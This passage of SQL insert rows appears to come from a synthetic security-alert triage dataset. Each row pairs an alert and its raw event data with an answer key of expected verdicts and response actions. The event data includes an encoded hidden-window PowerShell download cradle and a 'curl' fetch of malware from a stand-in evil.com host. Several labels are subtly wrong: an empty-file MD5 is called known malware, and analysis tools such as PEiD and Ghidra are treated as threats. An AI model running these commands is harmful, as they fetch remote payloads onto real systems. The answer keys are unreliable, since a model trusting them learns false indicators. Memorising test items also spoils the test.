(2156, 'Multi-Hop C2 Communication via Slack', 'high', 'Sysmon', 'Detected multi-hop command and control communication using Slack channels. This technique leveraged legitimate services to evade detection.', 'Command and Control', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"198.51.100.3\",\"dst_ip\":\"10.0.0.5\",\"username\":\"malicious_user\",\"hostname\":\"INFECTED-HOST\",\"request_body\":\"POST /api/chat.postMessage HTTP/1.1\",\"domain\":\"slack.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.3\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in suspicious C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"slack.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate domain used for C2 communications\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"POST /api/chat.postMessage HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual Slack API usage for C2 communications\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The use of legitimate services such as Slack for C2 communications indicates a true positive, highlighting the need for enhanced monitoring.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2157, 'Fast-Flux DNS with DGA Domain Detected', 'high', 'CrowdStrike', 'A fast-flux DNS network using a domain generated by a DGA was detected, indicating potential botnet activity.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T18:30:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.62\",\"dst_ip\":\"172.16.0.2\",\"username\":\"bot\",\"hostname\":\"CLIENT-PC\",\"domain\":\"xj3k2l5o2d3a.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.62\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently reported for hosting C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xj3k2l5o2d3a.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain generated using DGA, part of a known fast-flux network\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of a fast-flux DNS network using a DGA domain suggests botnet activity and warrants immediate investigation.\"}', 'Expert', 'EDR', 9, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2158, 'Fileless Malware Execution via PowerShell Detected', 'critical', 'CrowdStrike', 'A sophisticated fileless malware attack was detected involving PowerShell and credential dumping from LSASS. Lateral movement was attempted via WMI.', 'Malware', 'T1086', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:35Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.89\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC01\",\"command_line\":\"powershell.exe -nop -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBuAHQAXQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEMAbwBuAHQAZQBuAHQAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQBhAG4AZABhAG4AdABpAC4AYwBvAG0AIgApAA==\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address used by compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 152 times for hosting C2 servers\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBuAHQAXQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEMAbwBuAHQAZQBuAHQAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQBhAG4AZABhAG4AdABpAC4AYwBvAG0AIgApAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This alert is confirmed as true positive due to the presence of encoded PowerShell activity and communication with a known malicious IP.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2159, 'Suspicious Network Activity Detected', 'high', 'Sysmon', 'Anomalous network connection identified from an internal system to an external IP.', 'Network Anomaly', 'T1049', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:47:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.100\",\"username\":\"mjackson\",\"hostname\":\"WORKSTATION-12\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address used by employee workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 10 times for unusual activities\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The alert was determined to be a false positive due to the lack of malicious intent in the network connection.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2160, 'Potential Brute Force Attack Detected', 'medium', 'SentinelOne', 'Multiple failed login attempts observed from an external IP, potentially indicating a brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:47Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.75\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER01\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 25 times for failed login attempts\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"brute_force\",\"analysis_notes\":\"The alert is likely a false positive as the IP has a history of failed logins but no successful breaches recorded.\"}', 'Expert', 'EDR', 9, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2161, 'Unusual Email Activity Detected', 'medium', 'Carbon Black', 'A suspicious email with a potential phishing URL was detected, but no malicious content was found upon further inspection.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:32:10Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.56\",\"username\":\"rsmith\",\"hostname\":\"MAIL-SERVER01\",\"email_sender\":\"noreply@safe-email.com\",\"url\":\"http://safesite.com/login\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity associated with this IP\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://safesite.com/login\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is legitimate and safe\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was sent from a legitimate domain with a clean URL, indicating a false positive.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2162, 'Suspicious Web Request Detected - Potential XSS', 'high', 'CrowdStrike', 'A web request containing potential XSS payload was detected but was deemed non-malicious after analysis.', 'Web Attack', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:55:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.120\",\"dst_ip\":\"192.168.1.100\",\"username\":\"webuser\",\"hostname\":\"WEB-SERVER01\",\"request_body\":\"<script>alert(\'test\')</script>\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP flagged for suspicious web requests\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"<script>alert(\'test\')</script>\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Common test payload for XSS\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The detected XSS payload was a benign test string, confirming a false positive.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2163, 'Packed Executable Detected with Suspicious Network Activity', 'high', 'Any.Run', 'A packed executable was detected attempting to connect to a known malicious IP address, indicative of C2 activity. Reverse engineering of the sample revealed suspicious strings.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:34:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"198.51.100.23\",\"username\":\"jdoe\",\"hostname\":\"workstation-1\",\"command_line\":\"C:\\\\temp\\\\malware.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware family\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a packed executable connecting to a known malicious IP confirms malicious activity.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2164, 'Suspicious Macro Detected in Email Attachment', 'critical', 'Cuckoo Sandbox', 'An email attachment with a malicious macro was executed, leading to the download of a secondary payload from a suspected phishing domain.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:15Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"192.168.1.15\",\"username\":\"susan.smith\",\"hostname\":\"office-pc\",\"email_sender\":\"malicious@example.com\",\"url\":\"http://malicious-download.com/payload.exe\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for distributing malware\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-download.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a malicious macro leading to a known phishing site confirms the malicious intent.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2165, 'Potential Malicious Macro Execution Detected', 'medium', 'Ghidra', 'A macro from a document appeared suspicious but analysis revealed it was a standard template used internally, falsely triggering the alert.', 'Malware', 'T1203', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.21\",\"username\":\"alice\",\"hostname\":\"alice-pc\",\"command_line\":\"C:\\\\Users\\\\alice\\\\Documents\\\\template_macro.docm\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\alice\\\\Documents\\\\template_macro.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"File matches known safe internal templates\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro was part of a recognized internal document, leading to a false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2166, 'Encoded Command Execution Detected', 'medium', 'IDA Pro', 'A Base64 encoded command was executed on a server, but further analysis showed it was a legitimate maintenance script.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:10:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.31\",\"username\":\"admin\",\"hostname\":\"server-01\",\"command_line\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACIA\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACIA\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches known maintenance procedure\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded command was part of a scheduled maintenance task, resulting in a false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2167, 'Malicious Payload Download Detected via Reverse Engineered Macro', 'critical', 'Cuckoo Sandbox', 'A document macro executed a script to download a malicious payload from a suspicious domain, indicating potential data exfiltration.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:55:40Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.75\",\"username\":\"mike\",\"hostname\":\"mike-desktop\",\"command_line\":\"curl http://download.evil.com/malware.exe\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting malicious payloads\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://download.evil.com/malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to download malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a macro to download a payload from a known malicious domain confirms the attack.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2168, 'Packed Executable Detected with Malicious Intent', 'high', 'Cuckoo Sandbox', 'A packed executable was analyzed and determined to contain malicious code. The executable attempts to establish a connection to a known C2 server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"45.76.89.112\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"PEiD.exe /scan /deep C:\\\\malware\\\\packed.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.89.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in 37 AV engines\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"PEiD.exe /scan /deep C:\\\\malware\\\\packed.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used for deep scanning packed executables\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The C2 IP and file hash are known malicious indicators, confirming the malware presence.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2169, 'Suspicious Macro Execution in Word Document', 'medium', 'Any.Run', 'A Word document with an embedded macro was executed, leading to potential malware download activity.', 'Malware', 'T1156', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.100\",\"username\":\"asmith\",\"hostname\":\"laptop-02\",\"command_line\":\"winword.exe /macro C:\\\\Users\\\\asmith\\\\Documents\\\\invoice.docm\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP linked to malicious document download\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in 22 AV engines as malicious\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"winword.exe /macro C:\\\\Users\\\\asmith\\\\Documents\\\\invoice.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Macro execution linked to document download\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro execution led to a connection with a known malicious IP, confirming the attack.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2170, 'Encoded Malicious Command Execution Attempt', 'critical', 'IDA Pro', 'A Base64 encoded command was executed on a server, potentially indicating a script-based attack vector.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"rthomas\",\"hostname\":\"server-01\",\"command_line\":\"powershell.exe -enc U2V0LUV4ZWN1dGlvbkB0YXNrIC1jb21tYW5kICdzY3JpcHQn\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of source machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc U2V0LUV4ZWN1dGlvbkB0YXNrIC1jb21tYW5kICdzY3JpcHQn\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command linked to malicious script execution\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The Base64 encoded command is linked to known malicious script execution patterns.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2171, 'False Positive: Legitimate Software Update Misidentified as Malware', 'low', 'Ghidra', 'A legitimate software update was misidentified as a potential malware due to its packed nature.', 'Malware', 'T1055', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.50\",\"username\":\"dlee\",\"hostname\":\"server-05\",\"command_line\":\"update.exe /silent\",\"file_hash\":\"3a5f8e9d5a2e3c6d7b3b8a3f2d9e6a5b\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of update server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5f8e9d5a2e3c6d7b3b8a3f2d9e6a5b\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash confirmed as benign software update\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The software update was mistakenly flagged due to its packed nature but is verified as legitimate.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2172, 'False Positive: Routine Network Scan Mistaken for Malicious Activity', 'low', 'Cuckoo Sandbox', 'A network scan performed by IT was misinterpreted as malicious lateral movement within the network.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"sysadmin\",\"hostname\":\"admin-console\",\"command_line\":\"nmap -sP 192.168.1.0/24\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP used by IT for network management\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sP 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for routine network scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network scan was a routine operation by IT staff and not an indication of malicious activity.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2173, 'Suspicious Packed Executable Detected', 'high', 'Cuckoo Sandbox', 'A packed executable was detected attempting to execute on an internal machine. Analysis shows potential for malicious behavior.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-123\",\"command_line\":\"cmd.exe /c start C:\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash reported in multiple incidents\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"cmd.exe /c start C:\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution of a known suspicious command\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a packed executable with known malicious hash indicates a likely malware incident.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2174, 'Malicious Macro Execution Detected', 'critical', 'Any.Run', 'An Office document with an embedded macro was executed, which connects to a known malicious C2 server.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.0.15\",\"dst_ip\":\"203.0.113.77\",\"username\":\"asmith\",\"hostname\":\"laptop-001\",\"command_line\":\"winword.exe /macro C:\\\\Users\\\\asmith\\\\malicious.docm\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for command and control activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document hash matches known malicious macro\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a malicious macro that communicates with a known C2 server confirms this as a true positive.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2175, 'Potential Malware Detected via Packed Executable', 'medium', 'Ghidra', 'A packed executable was identified with suspicious behavior, matching patterns of known malware.', 'Malware', 'T1027', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"\",\"username\":\"mwhite\",\"hostname\":\"desktop-007\",\"command_line\":\"C:\\\\Program Files\\\\malicious_packed.exe\",\"file_hash\":\"3c4e7f33b4e7f4e5b5f9c3b4d5e8c0f0\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3c4e7f33b4e7f4e5b5f9c3b4d5e8c0f0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with packed malware variants\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\malicious_packed.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution pattern resembles malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed 